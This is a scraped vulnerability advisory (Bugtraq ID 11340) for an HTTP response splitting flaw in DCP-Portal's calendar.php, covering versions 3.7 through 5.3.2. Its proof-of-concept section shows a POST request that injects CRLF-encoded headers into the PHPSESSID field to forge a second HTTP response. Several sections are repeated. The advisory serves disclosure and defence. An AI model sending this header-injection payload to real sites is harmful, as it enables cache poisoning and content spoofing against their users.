DCP-Portal Calendar.PHP HTTP Response Splitting Vulnerability
BID:11340
Info
DCP-Portal Calendar.PHP HTTP Response Splitting Vulnerability
| Bugtraq ID: | 11340 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Oct 06 2004 12:00AM |
| Updated: | Oct 06 2004 12:00AM |
| Credit: | Discovery of this vulnerability is credited to "Alexander Antipov" <[email protected]>. |
| Vulnerable: |
DCP-Portal DCP-Portal 5.3.2 DCP-Portal DCP-Portal 5.3.1 DCP-Portal DCP-Portal 5.3 DCP-Portal DCP-Portal 5.2 DCP-Portal DCP-Portal 5.1 DCP-Portal DCP-Portal 5.0.2 DCP-Portal DCP-Portal 5.0.1 DCP-Portal DCP-Portal 4.5.1 DCP-Portal DCP-Portal 4.2 DCP-Portal DCP-Portal 4.1 DCP-Portal DCP-Portal 4.0 DCP-Portal DCP-Portal 3.7 |
| Not Vulnerable: | |
Discussion
DCP-Portal Calendar.PHP HTTP Response Splitting Vulnerability
DCP-Portal is reported prone to a HTTP response splitting vulnerability. The issue presents itself due to a flaw in the affected script that allows an attacker to manipulate how GET requests are handled.
A remote attacker may exploit this vulnerability to influence or misrepresent how web content is served, cached or interpreted. This could aid in various attacks, which try to entice client users into a false sense of trust.
DCP-Portal is reported prone to a HTTP response splitting vulnerability. The issue presents itself due to a flaw in the affected script that allows an attacker to manipulate how GET requests are handled.
A remote attacker may exploit this vulnerability to influence or misrepresent how web content is served, cached or interpreted. This could aid in various attacks, which try to entice client users into a false sense of trust.
Exploit / POC
DCP-Portal Calendar.PHP HTTP Response Splitting Vulnerability
The following example is available:
POST /calendar.php?show=full_month HTTP/1.1
Host: dcp-portal
Content-Type: application/x-www-form-urlencoded
Content-Length: 200
PHPSESSID=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.0%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2034%0d%0a%0d%0a%3chtml%3eScanned%20by%20PTsecurity%3c/html%3e%0d%0a&s=1&submit=1
The following example is available:
POST /calendar.php?show=full_month HTTP/1.1
Host: dcp-portal
Content-Type: application/x-www-form-urlencoded
Content-Length: 200
PHPSESSID=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.0%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2034%0d%0a%0d%0a%3chtml%3eScanned%20by%20PTsecurity%3c/html%3e%0d%0a&s=1&submit=1
Solution / Fix
DCP-Portal Calendar.PHP HTTP Response Splitting Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
DCP-Portal Calendar.PHP HTTP Response Splitting Vulnerability
References:
References:
- DCP-Portal Homepage (DCP-Portal)
- [Maxpatrol Security Advisory] Multiple vulnerabilities in DCP-Portal ("Alexander Antipov"